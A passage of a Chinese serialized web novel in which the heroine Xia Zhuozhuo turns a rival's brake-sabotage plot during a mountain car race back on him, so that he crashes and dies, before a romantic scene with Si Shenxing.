夏灼灼嘲讽一笑。 “你以为我想来?看到你这张脸,我都觉得晦气。” 她丝毫不给杜浩然面子。 杜浩然的脸色一下子变得铁青,手腕上围着的那几串珠子因为他太过力,直接崩断了。 周围的热闹声突然安静下来,谁也没敢出声说话。 “夏灼灼。” 杜浩然冷冷地凝视着她,那眼神,像刀刃一般锐利。 “平时在城里,我让你几分。可蛇山是我的地盘,你还敢这么对我说话?” 夏灼灼微微挑起眉。 “你怕我,所以把我引来这里?那你可能竹篮打水一场空了,无论在哪儿,你这种家伙,都不配称作我的对手。” “你——” 杜浩然气结。 旁边的耳钉女孩突然开口:“浩哥,她敢这么跟你说话,我帮你教训她!” 谁知杜浩然抬手就给了她一巴掌。 女孩直接被打懵了,好半天没有说话,只是大大的眼睛掉出眼泪来。 周围人有人同情,有人缩紧了脖子,怕自己被殃及池鱼。 但更多的人,是讥讽地看着她笑。 女孩不再流眼泪了,只是脸色一阵阵发白。 她在杜浩然面前,是几个女孩里,除了安雅之外最得脸的。 后来安雅死了,她就顶替了安雅,成了杜浩然新的左膀右臂。 那之后,她还没有这么丢脸过…… 她以为,自己在杜浩然心里还是有点分量的。 但今天,她看清了,她太把自己当回事了。 在杜浩然眼里,她跟安雅一样,是一颗棋子。 棋子说错了话,当然要被打。 女孩死死攥紧了拳头,眼神里充斥着怨恨。 只见杜浩然几步走到夏灼灼面前。 他个头长得挺高的,走到夏灼灼面前,气势竟没压住她。 他拢着眉,说:“我今天叫你过来,不是来跟你吵架的。我想跟你比一比。” “我为什么要跟你比?” 她说过的,她甚至没把杜浩然当成合格的对手。 杜浩然心里的怒气又要腾起来。 可想到自己的计划,他很快又把怒火压下去,脸上挂上了谦谦公子哥的笑容。 “我知道你看不上我,你搭上了司慎行这条大船嘛——” 夏灼灼的眉心蹙起。 刚才杜浩然说什么她都没反应,唯独提到了司慎行,她的表情才有一丝变化。 只听杜浩然继续说道:“但是,这儿山高皇帝远,司慎行可救不了你。” “你想干什么?” “我说了,很简单,就跟你比一把。如果你赢了,我放你走,从此不再找你麻烦。如果你输了,你就心甘情愿陪我睡一晚。过了这晚,以后你跟谁,我都随你。” 第199章 得不到,就毁掉 夏灼灼微微眯了下眼。 “如果我不跟你比呢?” 杜浩然冷笑一声,打了个响指。 响指一打,立刻出现十几个保镖,将夏灼灼团团围住。 而且他们手里还有匕首。 “给你两个选择,要么,乖乖按照我说的做。要么……你懂的。这里山高路远,没人能来救你。” 夏灼灼眼底却仍旧没有一丝惧意,甚至还带了一抹淡淡的笑意。 看夏灼灼并没露出本该属于女孩子的胆怯,杜浩然心里越发不爽。 这样也吓不到她? 这女人,到底是不是女人? 夏灼灼只觉得杜浩然可笑。 他身边养了很多女人,或许这些女人都是欺软怕硬的,他就以为所有女人都是胆怯的。 但世界这么大,有的是胆大、聪慧的女孩子。 杜浩然目光太短浅,太小瞧女人了。 “你让你的人大老远把我从城里带到这里,就为了床上的事?杜浩然,你的脑子,光往下半身长了吗?” 杜浩然脸色一黑。 他今天已经两次因为夏灼灼,在自己的手下和朋友们面前丢脸了。 “夏灼灼,你别给脸不要脸!” 夏灼灼揉了揉因为长时间开车而酸痛的脖子,很不耐烦地问:“你要比什么?” “赛车。”杜浩然说:“我听月月说,你赛车很好。” 这是杜浩然一次去住院的时候,偶然听杜馨月提起来的。 因为杜馨月想让他帮忙参考一下,买什么跑车送给夏灼灼。 夏灼灼救了杜馨月的命,杜家理应送礼。 所以他就知道,夏灼灼赛车技术很好,所以杜馨月才想送她跑车。 而正好,他有一座用于跑山的山。 夏灼灼蹙眉。 不是怀疑杜馨月出卖她,而是确定了,杜浩然不只是要跟她赛车这么简单。 他想要她的命。 跑山都是很凶险的,跑山的过程中出现点什么危险,再正常不过了。 得不到,就毁掉。 这很符合杜浩然这个人的思维。 而他忌惮自己跟司慎行走得近,加上杜家其他人都很敬重她,所以他不敢直接来。 只好用这种方法。 ——她死于一场赛车意外,很正常。 哪怕是杜浩然找她来的,但到底是意外,别人可以骂他,却不能真对他怎么样。 真是个好计划。 夏灼灼都忍不住要为他鼓掌了。 她要是没有冷静思考,急于摆脱他,就真着了他的道了。 但夏灼灼没拒绝。 “可以,谁跟我比?” 杜浩然见她答应,心里一喜,说:“我的手下。” 他抬了下手,刚才那个耳钉女孩就走上前来。 她已经不哭了,脸上看不出任何情绪。 夏灼灼觉得她很眼熟,多看了女孩一眼。 只听杜浩然说:“我一个大男人,如果跟你比,是欺负你。所以,你可以跟安奈比。” 安奈…… 夏灼灼知道为什么觉得这个女孩子眼熟了。 她再次看一眼安奈,很快收回视线,看向杜浩然。 “你既然知道我赛车很好,应该知道,普通人不是我的对手。” “安奈不是普通人,你跟她比,未必能比得过。” “她车技行不行,我得亲眼看看才知道。” 夏灼灼说着,下巴一抬,看向不远处一辆跑车。 “你让她带我跑一圈,我就知道,她够不够资格跟我跑了。” 安奈不悦。 “我的车技谁都知道,我是专业车手出身,我……” 夏灼灼直接打断她:“耳听为虚,眼见为实。” 安奈攥紧拳头,对杜浩然说:“那我带她小去跑一圈上来。” 杜浩然答应了。 夏灼灼很快跟安奈上了同一辆车。 车子飞驰而去,往山下开。 安奈的车技,的确很娴熟。 她漂移过弯,眼睛都不抬一下。 夏灼灼却在这时候开口。 “安雅是你的谁?” 安奈握着方向盘的手一僵,车头差点越过悬崖边的警戒线。 好在她及时调整回来了。 “开车的时候,能不能不要说话!我如果分了神,你会跟我一起死!” 夏灼灼轻轻一笑。 “死有什么好怕的?怕的是死的不明不白。” “什么意思……”安奈也顾不上秀车技了,慢慢松了油门。 夏灼灼却没回答,反而再次提起安雅。 “安雅是你姐姐吧?你们长得很像。” …… 不多时,车子开回了山顶。 开车的换成了夏灼灼。 她拉开车门,从车上下来。 安奈紧随其后从副驾下车。 她垂着脸,来到杜浩然面前。 “对不起,浩哥,我车技不如她……” 杜浩然拧眉,就听安奈继续说:“车是我开下去的,上来的时候换她开。我看得出来,我不是她的对手……” 杜浩然狠狠瞪了安奈一眼。 计划因为安奈出了变故。 “没用的东西!” 他抬起手,又是狠狠一个耳光。 不像是在打人,更像是在打一只畜生。 只听夏灼灼说:“她跟我跑,必输。你还是换个人吧,我不想让人说我欺负人。不如,换你自己上。” 杜浩然满肚子火气。 他的计划里,没有这一点。 不过转念一想,谁跟夏灼灼比都是一样的,不耽误计划的实施。 反而他自己亲自比赛,能亲眼看到夏灼灼的下场。 这么想着,他脸色缓和下来。 “想不到夏小姐的车技跟医术一样好。既然如此,那我就亲自跟你比!” “可以。不过我得去上个卫生间。” 杜浩然看向安奈:“带她去!” “是……” 安奈捂着吃痛的脸,带着夏灼灼去山顶卫生间。 山顶不仅配备了卫生间,还配备了一个小小的维修车间,以及一个休息区。 杜浩然来到休息区,正跟手下说着一会儿的安排,突然一帮人开车上来。 他的脸色瞬间大变。 “什么人?谁放他们上来的!” 一个手下走上前。 “浩哥,是我把他们放上来的。” “这是什么时候?你敢放乱七八糟的人……”正要破口大骂,为首的一辆车的车门打开了。 走出来一个烫着波浪卷的女孩。 “哥!”女孩的脸色略显苍白,但唇角却挂着满满的笑意。 是杜馨月。 杜浩然见不是司慎行,而是自己的妹妹,松了一口气的同时,眉头再次皱起。 他几步迎上去,语气很不好地问:“你怎么来了?你刚出院,大半夜的在外面瞎跑什么?赶紧回去!” 他点了一个人,叫他送杜馨月回家。 “什么大半夜的?现在才九点多,我的夜生活才刚刚开始,你不也是一样吗?” 杜馨月说着,搂住杜浩然的胳膊,难得朝他撒娇。 “好哥哥,你就让我留在这儿吧,我不跑车,就看看。我在医院住院这段时间都快闲出屁了,你别把我送回去,我再憋下去,真的快疯了。” 又说:“还是说,你打算做坏事,不想让我看到,所以想让我走?” 一番说辞,让杜浩然没办法再开口强行送她回去了。 他道:“我跟夏灼灼一会儿赛车,你看完比赛,再回去吧。” 杜馨月眼睛一亮,问:“灼灼也在?” “你不知道她在这里?” “我怎么会知道?我以为她回家去了。” 杜浩然心下稍安。 既然杜馨月不是夏灼灼叫来的,那就应该不会坏事。 “那你就老实待着吧!” 杜馨月连连跟杜浩然道谢。 “谢谢哥哥,还是哥哥好!这儿有没有什么吃的?我饿了。” “真麻烦!那里有果盘,你自己找吃的!” 杜浩然满脸的嫌弃。 他是真嫌弃杜馨月。 目光短浅,恃宠而骄,还是个恋爱脑。 如果不是江泽突然发疯,她恐怕真要嫁给那个乡下人。 要真有那一天,他可不会认这个妹妹。 对他没有助力的人,哪怕是亲妹妹,他也六亲不认。 只希望杜馨月不要干扰他的正事,否则,他会一并处理掉! 杜浩然眼底一闪而逝的冷厉。 杜馨月捕捉到了。 她很好地藏着眼中的冰冷,转头招呼她带来的“狐朋狗友”。 “这儿有果盘!快过来吃点儿!” 有人答应,也有人要到处逛逛。 一时间,休息区变得很混乱。 杜浩然心里很是不舒服。 “叫你的朋友都别乱跑!” 可仍有几个已经到处逛起来了。 杜浩然心中更加烦躁。 他问手下人:“夏灼灼呢?上个厕所还没回来?” 话音刚落,安奈带着夏灼灼回来了。 她换了一身这里的赛车服。 杜浩然就明白了,为什么夏灼灼上个卫生间这么慢。 走近后,他更清楚地看清了夏灼灼。 穿着赛车服的她,身材更加凹凸有致。 杜浩然有些后悔今天的安排。 或许他应该先得到她,再毁掉她。 不过现在后悔已经来不及。 直接毁掉就是了。 他对夏灼灼,并没有多少真正的感情,只是有男人的占有欲罢了。 反而是对夏琉璃,他倒是有几分真心的。 不过对他来说,他自己才是最重要的。 杜馨月看到夏灼灼,立刻迎上前。 “灼灼,我以为你回家去了,怎么突然跑这儿来赛车了?” 夏灼灼眸色渐浓。 她开车回来的路上,跟杜馨月又通过一次电话。 她们以见面后说的第一句话为暗号。 如果对杜馨月“奇怪”她怎么跑来赛车了,那么暗号就成功对上,夏灼灼就可以继续她的计划了。 如果没对上暗号,那么杜馨月就是不赞成她的计划。 她会给杜浩然留一条命。 夏灼灼故作冷淡地瞥了杜浩然一眼。 “你得问你哥,我为什么会跑到这儿来。” 第200章 杜浩然死了 闻言,杜馨月一脸疑惑地看向杜浩然。 “你不会是逼灼灼来赛车的吧?” 杜浩然道:“当然不是。是夏小姐自愿的,是吧,夏小姐?” 夏灼灼没理会杜浩然,只叮嘱杜馨月:“你伤刚好,别乱走动。” “知道了……你跟我哥一样啰嗦。” 说话间,她轻轻捏了下夏灼灼的手。 夏灼灼就明白,杜馨月这边一切准备就绪了。 她看向杜浩然:“杜少,你也该去换衣服。我想早点开始早点结束,免得回家晚了,我家人会担心。” 杜浩然看着她,说:“既然夏小姐这么着急要比赛,那我现在就去换衣服了。” 他刻意咬重“着急要比赛”几个字,周围的人都听到了。 很快,杜浩然就换了衣服回来。 夏灼灼的目光瞥向不远处一个人。 他是跟杜馨月一起来的,是杜馨月的“朋友”。 那人看似无意朝这边看了一眼,微点了下头。 月色下,没人看见,只夏灼灼看清楚了。 杜浩然在这时走过来。 “夏小姐,什么时候开始比赛?” 夏灼灼道:“现在就可以开始。” “好,那我们说好了,谁先到山脚,谁就赢了。” 说到这,他又抬高音量补了一句:“不过要注意安全,什么事情都没有性命重要,你说对吗?” 夏灼灼点头:“当然。一场比赛而已,你要是落后我也不要着急,命最重要。” 临上车,杜浩然深深看了一眼夏灼灼。 那眼神有一丝眷恋,还有一丝不舍。 他不想杀夏灼灼的。 他虽然觉得得不到就索性毁掉,但真正让他起杀心的,是京都那边有人给他递了个消息。 那消息说,夏灼灼不只是暗部的一个医生,更是暗部的高层。 杀了他,他跟杜家,都能得到很大的好处。 这件事他没告诉任何人,他要自己一个独占这份功劳。 等事情成功,再告诉家里人也不迟。 因为家里人太信任夏灼灼了。 尤其杜老爷子。 他把夏灼灼当成了救命稻草,好延长他的寿命。 可在杜浩然看来,生死有命,老爷子活到这个岁数已经不亏了,该死的时候,就该听从阎罗王的安排,老老实实去死。 所以,如果让老爷子知道这件事,必定会制止他。 因而他没告诉任何人自己的计划,只跟安奈说了。 一开始,他是安排安奈跟夏灼灼赛车的。 这样夏灼灼如果出了事,他能摘得更干净。 可惜安奈车技不够,他只好亲自上了。 不过亲自上也无所谓,赛车的时候出事,再正常不过了。 杜浩然拉开车门,上了车。 杜馨月却走过来,伸手敲了敲车窗。 杜浩然不耐烦地拉下车窗。 “什么事?” “哥。”杜馨月开口道:“我听说你跟灼灼的赌注了,你不该这样逼她。我说过的,你跟她不合适。” 杜浩然紧紧拧着眉。 “怎么?在你心里,我连一个破产家庭的女人都配不上?” “我不是这个意思,我只是觉得你们不合适而已。我跟灼灼现在已经是朋友了,要是我现在过去跟她说一声,你们的赌约还来得及取消。” “没必要。”杜浩然直接拒绝了。 杜馨月还想说点什么,杜浩然直接拉上了车窗,也不管杜馨月的手会不会被夹到。 杜馨月差点没来得及收回手。 她深吸了一口气,闭了闭眼,再睁眼时,眼底已经毫无情绪。 她是杜浩然的妹妹,两个人不是全无感情。 所以因为这份感情,她最后一次来劝他。 可杜浩然完全不听,还差点夹伤她的手。 如果在乎她这个妹妹,杜浩然不会这样。 这一刻,杜馨月非常肯定,自己在杜浩然的心里,跟安奈、安雅,没有什么区别。 他不对付她,是因为她没挡他的路。 一旦挡了他的路,杜浩然会毫不犹豫对她出手。 杜馨月的心冰凉一片,表情却格外坚定。 如果刚才她还有那么一点犹豫,现在完全没有了。 她找到夏灼灼,让她注意安全,别的话什么都没说,去了休息区。 休息区有个很大的电脑,连接着空中监视器,可以全程看到两个人的车。 杜浩然的车子先开出去。 山道很窄,两辆车一起容易出事,所以比赛采用计时法。 谁到山下的时间短,谁赢。 夏灼灼的车子在杜浩然的车子开动之后五分钟才开出去。 杜馨月安静看着屏幕。 杜浩然的车子开得不算太快,很稳。 而夏灼灼的车子开得很快。 她每一个出弯都贴的不能再贴,几次弯道出弯,都吓人一大跳,让人觉得车子随时都会飞出防护栏。 “谁会赢?”大家叽叽喳喳讨论着。 “夏小姐吧。” “可浩哥也是考了赛车手的,他的车技比安奈还好。” 人群里的安奈轻轻抬了下眼皮,很快又垂下去,藏起了眸底的深色。 “大小姐。”有人问杜馨月:“你觉得谁会赢?” “我哥吧。”杜馨月一错不错地看着屏幕说。 有人嘻嘻哈哈地说:“可是目前为止,夏小姐的速度更快。” “才刚开始呢。”杜馨月说:“我哥是个很争强好胜的人,他现在看起来开车很稳,是因为他轻视灼灼了,不把她当成对手。等他意识到自己的速度比灼灼慢了,很快就会开始提速的。” 话落,有人突然惊呼一声。 “还真提速了!” 众人纷纷看向屏幕。 只见杜浩然的车子越开越快,那速度快到不可思议。 杜馨月唇瓣轻轻弯了下,说:“看吧,我就知道我哥是个争强好胜的人,他不会让自己输给灼灼的。” 其他人连连点头。 “还是您了解浩哥。” …… 山道上。 杜浩然猛踩油门。 他大老远把夏灼灼逼过来,当然不只是为了赛车。 他在夏灼灼那辆车的刹车片上动了手脚。 刹车片很薄,夏灼灼的车子只要在短时间内快速使用,一定会因为过热出问题。 而现在,快到刹车片出问题的时间了。 他要绕过前面几个弯,从西面的角度,正好可以看到夏灼灼的车子因为出问题,冲破悬崖边的护栏,直直掉下去。 这是他精心计算过的。 所以他突然加快了车速。 为的,就是亲眼看着夏灼灼的车子出问题,掉下悬崖摔死。 可就在这时,他的车子突然提示刹车片过热。 几个按钮亮起来,一闪一闪,发出警报声。 怎么回事? 杜浩然蹙眉。 是检测器出问题了吗? 他的刹车片是好的,不可能因为这样就过热无法承载这个速度。 要不,先放慢车速? 但很快冲动战胜了理智。 再过两个弯,就能到他预定的那个位置了。 就算刹车片真的过热,这点距离,也能承受。 杜浩然心里着急看夏灼灼的下场,不自觉又加快车速,快速过了两个弯。 可就在他即将到达自己想要到达的那个地点的时候,他要踩刹车,刹车却全无反应了。 他心中狠狠一惊。 怎么回事? 杜浩然急忙进行调整,想靠手刹将车速降下来。 可他开的实在太快了,手刹根本刹不住。 杜浩然在心里告诉自己要冷静,可脑子完全冷静不下来。 就在这时,前头一块石头凸起,他的车子被弹起来,刹车又废了,他的车直接冲出了护栏,高高跃起,飞出了一个漂亮的弧线。 那一瞬间,时间突然过得很慢。 杜浩然看到了远处灯火璀璨的沪城。 他甚至看到了他家。 当然这也有可能是他的幻觉。 车子很快重重砸在了山崖上,继续往下滚落。 最后一分神志消散的时候,杜浩然才猛然回神。 他不明白,他哪一步错了。 为什么摔下山崖的人会成了他。 可这个问题永远得不到答案了,因为他没有机会再问出这个问题了。 …… 杜浩然的车子滚落山崖,最后掉到山底,车子轰然爆炸,火焰熊熊燃烧起来。 从夏灼灼的角度,正好可以清晰地看到这一幕。 她把车子开得这样快,这样险,不是为了所谓的赛车。 她跟杜浩然一样,也想亲眼看看杜浩然是怎么死的。 不可否认,车子滚下去并且爆炸那几秒,非常绚烂,像是最美的烟花。 夏灼灼看着这一幕,表情很安静。 她调转了车头,把车子开回山顶。 只是这次不那么赶了,她心情极好,稳稳将车子开了回去。 等她到的时候,山顶已经乱成了一团。 所有人都惊讶于杜浩然的车子竟然飞了出去。 有人说:“浩哥还能活着吗?” 有人说:“浩哥太争强好胜了,他开始加速的时候,我心里就不安,果然出事了。” “一场比赛而已,他自己说了安全最重要,还是出事了。” “报警了吗?先报警!万一还能活呢?” 乱糟糟的一片,没人注意到夏灼灼去而复返。 她跟杜馨月碰了个面。 “你还好吗?”她问。 杜馨月却是弯唇一笑,提起了出发前的那件小事。 “他一点都不担心我的手会被夹到。” 夏灼灼听着这话,已经知道了杜馨月的回答。 她很好。 并且一点也不后悔。 夏灼灼握了握她的手。 杜馨月很快回握住她。 第201章 我可以吻你吗 杜浩然一死,以后杜家的掌权人只能是杜馨月来做。 女孩子很容易得到社会的偏见,她想坐稳这个位置,还需要花费很多心思。 两个人没说几句话就分开了。 她们在这个时间靠太近,会引起别人的注意。 杜馨月也需要演戏。 ——死了哥哥,她得伤心。 哭声慢慢响起来。 所有人都同情地安慰着杜馨月。 夏灼灼也出现了一下,告诉她,她身体还没完全恢复,不能有剧烈的情绪起伏。 杜馨月点头,情绪稍稍稳定了一些,坐上车准备下山看杜浩然。 夏灼灼也开车下山了。 她的副驾驶还坐了一个人。 正是谷仔。 不过在外人眼里,谷仔是杜馨月的朋友。 因为她是跟杜馨月一起来的,杜馨月还招呼他吃果盘。 “我按照您的吩咐,把你们的刹车片换了。”说到这,他心里一阵后怕:“还好您料事如神,猜到车子有问题,让我去换掉,否则……” 夏灼灼宽慰他:“我这不是没事吗?” 而后又说:“我不是料事如神,是有人告诉了我。否则我也不知道杜浩然的具体计划是什么。” “谁?” “安奈。” “安奈是谁?” “杜浩然手底下的人。” 谷仔更加惊讶。 “杜浩然的人,怎么会告诉您这个?” 夏灼灼笑了笑,说:“因为我跟她说了一个消息,她也就还我一个消息。” “什么消息?” 夏灼灼对谷仔不需要隐瞒,细细说着。 她看到安奈的第一眼,就觉得她很眼熟。 听杜浩然叫她“安奈”,她就猜到这应该是曾经冒充司慎行女朋友的那个名叫安雅的女人的妹妹。 她当时一直误会司慎行有女朋友,后来司慎行拿着安雅的资料,跟她解释清楚了他们的关系。 顺便,还说了安雅的下场。 司慎行很生气安雅挑拨他跟她的关系,所以以牙还牙,把安雅送了回去。 安雅在他枫林晚住了那么久,杜浩然一定会疑心安雅是不是叛变了。 他本意是想杜浩然疑心安雅之后,让安雅心里不安。 这样,安雅就真的能再次为他所用。 却没想到,杜浩然直接杀了安雅。 夏灼灼把这个“消息”告诉了安奈。 安奈本就因为那两耳光,对杜浩然心生不满。 也因为意识到杜浩然根本不把她们这些女孩当人,所以她生出了背叛的心思。 可直接逃,是逃不走的。 所以她想借夏灼灼,把杜浩然杀了。 杜浩然死了,她和其他杜浩然养起来的女孩就彻底自由了。 她跟夏灼灼达成了同盟。 谷仔他们动手换车子配件的时候,是她想办法支走了附近杜浩然的人。 所以谷仔才能那么顺利。 而谷仔能及时赶到,也多亏了夏灼灼在被拦住车的时候,就让谷仔查她的定位,跟上她。 后来杜馨月也站在她这一边,让谷仔以“她朋友”的身份出现。 “我这一次的成功,是靠天时地利人和。不是靠运气,也不是因为我料事如神。”夏灼灼解释说。 谷仔彻底明白了。 “杜浩然死的不冤枉,他想害您,最后害死了他自己。” “是这样。” 车子很快开到了山脚。 消防车和警车也到了。 火很快被扑灭,但是车已经烧的只剩下了一个空架子。 杜浩然死的很惨。 他整个人都被烧焦了。 只剩下一个人形的黑炭。 夏灼灼心底没有生出一丝同情。 她今天但凡行差踏错了一步,或是哪一步的人没有按照她的吩咐做,摔下去被烧死的人,就会是她。 夏灼灼很安静地看着这一幕。 这个时候她表现得太多,反而给自己惹来嫌疑。 她本来就是被杜浩然逼来的,对于杜浩然的死,她应该表现得很轻松,甚至松了一口气。 这才是对的。 而杜馨月只能嚎啕大哭。 因为那是她的亲哥哥。 她不伤心就不对劲。 一帮人几乎全部被带回去做笔录。 夏灼灼是杜馨月之外,第二个做笔录的。 因为她是跟杜浩然赛车的人。 “我是被他逼过来的。他说过,如果我输了,就陪他睡一晚,如果我赢了,以后就不再纠缠我,我照做了。”夏灼灼如实说着这些当时在场人都知道的事。 如果隐瞒了,反而不好。 夏灼灼还说:“说句实话,他死了,我觉得真是太好了,这是老天有眼。” 两个警官彼此对视了一眼。 对夏灼灼反而更加放松警惕。 真正的凶手,是不敢说这样的话的,他们只会努力把自己摘清。 就算有恩怨,也会故意不提。 夏灼灼这样反其道而行,把自己的嫌疑洗得更清了。 做完笔录,他们便让夏灼灼回去了,叫了安奈过来询问。 两个人在夹道里相遇,谁也没看谁,像是互相不认识。 审讯室里,安奈说的事情也跟夏灼灼说的差不多。 只是没提杜浩然的计划。 杜浩然要杀夏灼灼的计划,只有杜浩然跟她知道。 因为知道的人越多,消息越容易暴露。 杜浩然这么安排,也是为了防止夏灼灼死后,司慎行严查这事。 没成想,这个安排,反而帮了夏灼灼和安奈。 …… 夏灼灼走出警局的门。 杜馨月等在那里,她的眼眶还是红的。 她正要说话,杜馨月直接摆了摆手,笑道:“你上车吧,有人在等你。” 又说:“本来还想跟你再聊一聊的,被人抢先了。我们下次再聊。” 夏灼灼错愕地往自己那辆车看了一眼。 车子的车窗被拉下来,露出一张丰神俊逸的脸。 是司慎行。 他竟然来了…… “是我告诉他的。”杜馨月压低声音说:“我心里不太放心,他来了,我安心了很多。” 夏灼灼被杜馨月的话拉回思绪。 她对司慎行打了个手势,示意让他再等一会儿。 随后才问杜馨月:“你什么时候走?” 杜馨月垂了垂眸,说:“我爸妈,还有爷爷还在赶过来的路上。我本来想明天再通知他们……尤其爷爷,年纪大了,大半夜经不起这样的折腾。结果这事儿闹太大,已经上了新闻,他们还是知道了。我得等他们过来,再跟他们一起回去。” 夏灼灼点头,思索了两秒后开口道:“杜浩然的死因,别人你不要说半个字,但你可以告诉你爷爷。” 杜馨月错愕地问她:“为什么?” “你爷爷……是靠我续了命。但我不是大罗神仙,我的能力也有限。他自己也清楚,我续不了太久。所以一个随时会面临死亡的人,会比普通人看得更通透一些。加上他也在乎你,以后会帮你的。” 杜馨月点头。 “好,我都按照你说的做。” 杜馨月自知没有夏灼灼这样的脑子,但她听劝。 听劝的人如果有正确的人引导,是能走出一条很光明的路的。 杜馨月知道,夏灼灼就是那个能正确引导她的人。 夏灼灼说完那些话就走了。 她刚来到车边,司慎行已经下车,帮她拉开了副驾驶的车门。 夏灼灼躬身坐上了车。 她说:“我的人还在里面,等候做笔录。” “我让阿麦留在这里,等他录完,会送他回去。” 夏灼灼下意识想拒绝。 谷仔住在哪里不能让人知道。 可转头想到谷仔不是糊涂人,他自己知道该怎么说,便没拒绝。 而且,阿麦跟谷仔……这是第一次见面。 还不知道会发生什么。 或许她的猜测是对的,也不一定呢? 车子启动,夏灼灼开口:“你没觉得……阿麦跟我的手下长得很像吗?” 话说出口,却没任何回应。 夏灼灼奇怪地看了司慎行一眼。 却见他眼角竟然有些泛红。 她愣了一下,正要问原因,司慎行突然靠边停车,越过车子中控,紧紧抱住了她。 夏灼灼又愣了一下,等反应过来的时候,却也没有把他推开,而是伸手回抱住了他的肩膀。 “我没事。”她说。 她知道司慎行是在后怕。 后怕死的人会是她。 她能感觉到司慎行在细细发抖。 他会担心,夏灼灼是可以预见的。 但害怕成这样,她着实有些意外。 也许,司慎行比她想象中的更爱她。 她抬起手,轻轻拍着司慎行的肩膀。 两个人彼此相拥着,什么话都没说,却什么话都说了。 也不知过了多久,司慎行终于稍稍松开她。 他定定看着她的眼睛,问:“我能吻你吗?” 夏灼灼的脸瞬间滚烫起来。 她有点不敢直视司慎行的眼睛。 他的眼睛好似比她此刻的脸还烫。 但她第一次对司慎行鼓起了勇气,点头:“可……(以)。” “以”字还没说出口,司慎行直接以迅雷不及掩耳之势,将薄唇用力覆上她的唇瓣。 夏灼灼在警局里面的时候感到有点冷,此刻感受到司慎行身上的温度之后,身子也跟着烫了起来。 他热烈地吻着她的唇瓣,两个人紧紧相贴。 但司慎行仍觉得有些不够。 很快他就知道为什么觉得不够了。 他灵活撬开她的唇瓣,舌尖相触,那一刻,两个人都狠狠抖了下。 那是一种来自灵魂深处、直击人心的欢愉。 第202章 初吻 夏灼灼是有轻微的洁癖的。 所以对于亲吻,她本能的有些抵触。 跟宗域在一起的时候,他们并没有亲吻过。 坦白来讲,宗域是个很为人考虑的人,对她尤其。 所以察觉到她对进一步肢体接触有抵触,便除了牵手、拥抱之外,没做过别的事。 所以这是夏灼灼的初吻。 也是司慎行吻了她之后,她才明白,原来“接吻”是一件这么美好的事情。 她隐约明白,很多事情,都需要胆大一点去冒险、去亲身体验。 比如此刻,她甚至觉得有点飘飘欲仙了。 司慎行的脑子,却没夏灼灼转的那么快。 他脑子里只专注着吻她。 不仅让自己舒适,更要让夏灼灼舒适。 所以他专心致志地吻着,不让她觉得,接吻是一件不美好的事。 这样,才好有下一次。 两人不知吻了多久。 路过的车子一辆一辆驶过,也有路人从车边走过去。 他们离的这样近,夏灼灼的心跳都要从胸口里跳出来了。 她终于忍不住推开了司慎行。 “别人会看到的……”她的声音很哑,像是在撒娇的猫儿。 司慎行听了,又想再吻她。 一低头,看到她的嘴唇红红的,似有点被他吻肿了。 他有些懊丧,觉得自己弄伤了她,心里却又很兴奋,这是他第一次吻夏灼灼,也是他第一次吻女人。 他有些明白,为什么那些男人都喜欢流连花丛了。 曾经他觉得男女之事无趣的很,现在觉得是自己这个人无趣得很。 竟不知道世间还有如此美妙的事。 但要不要继续吻,这是个问题。 司慎行犹豫了。 就是犹豫了这一秒,夏灼灼直接把他推开了。 一时的勇气,也只是一时的。 看着外头不停路过的行人,她的小勇气荡然无存,只剩了害羞。 司慎行也不逼她,终于开始说起正事。 “听到杜馨月跟我说你跟杜浩然的事情的时候,我差点吓疯了……” 夏灼灼扯了下唇。 “我现在没事了。” “我知道……我只是觉得,很后怕。” 夏灼灼也如实说:“我也很后怕。尤其是看到杜浩然烧焦了之后的样子,我当时在想,如果我没布置好一切,被烧焦的人,就是我。” 司慎行握紧她的手。 “以后再不要冒险了。” “……可我觉得,有些事情,是应该去冒险一次的。杜浩然不知道得了什么失心疯,突然看上我。这个人心术不正,不除掉他,永远是个隐患。” 而现在她这么一冒险,这个隐患彻底没了。 司慎行想赞同,又不太赞同。 最主要原因还是怕夏灼灼出事。 他索性不接这话,只道:“上次安安手术过程中,那个谢主任搞鬼,你让我去查他背后除了孙峥跃之后还有谁,我去查了。今天的事情,我过来的路上也查了。” 他顿了下,深深看了她一眼,说:“孙峥跃后面果然还有幕后的人,是窦斯齐。这次的事,同样也是他挑拨了杜浩然。” 司慎行自有一手情报网,尤其是在权贵圈里,比暗部还有过之而无不及。 他折了安雅这颗棋子之后,又在杜浩然身边培养了别的棋子,所以才能这么快查清楚事情。 夏灼灼的眉头轻轻跳了一下。 窦斯齐盯上她了。 从几次监听她可以看出来,窦斯齐是个不能小瞧的对手。 他比窦部长聪明,比窦老先生心思更深。 “你最近要小心一点,有任何风吹草动,随时告诉我。这个窦斯齐,不一般。”司慎行道。 夏灼灼点头说好。 等车子停到夏家大门口,已经是深夜了。 夏灼灼怕夏太太担心,还在纠结用什么借口。 司慎行却说:“我已经帮你打过电话了,说今晚请你去唱歌,会晚点回来。新闻我也压下来了,不会提到你一个字。” 他细心至此。 夏灼灼心里感动。 “谢谢了……” “只是口头道谢吗?”司慎行深深看着她,目光往她的唇上移。 夏灼灼知道他想自己怎么谢他。 她一副不接他的话的样子,直接拉开了车门。 可下一秒,她突然转身,在司慎行的薄唇上快速印上一个吻。 不等司慎行反应过来,她已经扭头逃之夭夭了。 司慎行半晌都还愣在原地。 不比之前的吻,这个吻虽然只如蜻蜓点水,却更让司慎行激动。 因为这是夏灼灼第一次主动吻他。 这比刚才的吻,意义还要重大! 司慎行像个毛头小子,坐在车子里傻傻笑了。 而“逃”回家的夏灼灼,脸颊涨得通红,像火烧云一样。 热度好久才褪去。 理智慢慢回笼,思绪也重新飘到窦斯齐身上。 这个人,不知什么时候,不知道为什么,突然盯上了她。 她把自己的身份隐藏得很好,一般人最多只能查到她是暗部的医生,便不能继续往下查了。 窦斯齐究竟是已经知道了什么,还是只是在猜测,试探她的虚实? 夏灼灼觉得大概率是后者。 暗部上下铁板一块,他查不到自己是暗部首领的。 所以,只能是试探她的能力。 如果她能力不行,会死在杜浩然布置的车祸里。 如果她能力可以,就会活下来。 窦斯齐却也没损失什么,反而更清楚她不是个花瓶了。 至于窦斯齐为什么突然盯上她,大概是她是夏家的人,也就是党家的人,而她这个党家人,现在跟司慎行走得太近了。 这个人,真的很谨慎。 哪怕夏家已经“没落”,他也不会让自己这个夏家女儿成为隐患。 他一定还有后招。 夏灼灼想到了他的弟弟,还关在监狱里的窦斯礼。 窦斯齐会不会利用这个弟弟来做第三次的局对付她呢? 应该不会吧—— 毕竟是兄弟。 可也说不准。 